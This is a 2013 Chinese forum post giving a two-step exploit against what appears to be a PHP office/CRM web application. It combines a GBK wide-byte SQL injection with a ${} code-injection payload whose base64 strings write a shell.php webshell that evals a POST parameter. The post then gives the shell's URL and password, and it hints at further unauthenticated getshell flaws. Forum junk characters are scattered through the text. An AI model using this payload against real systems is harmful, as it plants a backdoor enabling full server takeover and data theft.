此程序通篇的gbk编码是他的硬伤, 基本上80%的SQL语句都能控制, 但是由于在进入数据库的时候检测了select和union, 而且此程序加密方式也很蛋疼, 所以注入方面就不考虑了.
; N* e% u* U7 `1 t( h! i, Y6 q' S: `) F( G
9 \/ S4 C3 [' {$ J5 O1 T/ w1 OEXP：
0 _3 d/ K7 D, k2 ^8 A: Y1 [- Z # T- F; X6 ^! D+ ]9 h6 O: V
第一步: [GET]http://site/general/crm/studio/modules/EntityRelease/release.php?entity_name=1%d5'%20or%20sys_function.FUNC_ID=1%23%20${%20fputs(fopen(base64_decode(c2hlbGwucGhw),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}& q6 r B. |% @: |% J4 @+ ? a! Z
' t X4 S% C2 \1 x' t& F( N, x第二步: [GET]http://site/general/email/index.php
5 x* o3 z: Z! r " t0 j2 s+ W( V6 C' ]# ?
SHELL: http://site/general/email/shell.php 密码C
; u" G) S+ u" n8 u7 z & [1 a: f) p/ ~2 U3 k- Y G) w
" Y9 O$ F& w& f3 m- _% k* Y6 b
此程序写的非常乱, 不知道是因为解密后的原因还是程序员本身就这样写的, 还有几处不需要登录的通杀getshell, 这里就不发了, 危害大了不好
8 |9 d# L6 ?; } [: \ ) _, X4 H! h9 A& ?* j
有心的同学可以自己读读, 很容易就发现的 o(∩_∩)o ~~) p; Y- @) o0 |$ W4 e1 P
5 w7 J% O( Y1 E: v( N/ y1 e$ x# }1 c* K: y4 ?8 G; u0 i3 }. c
|
发表于 2013-2-4 16:19:29
收藏
支持
反对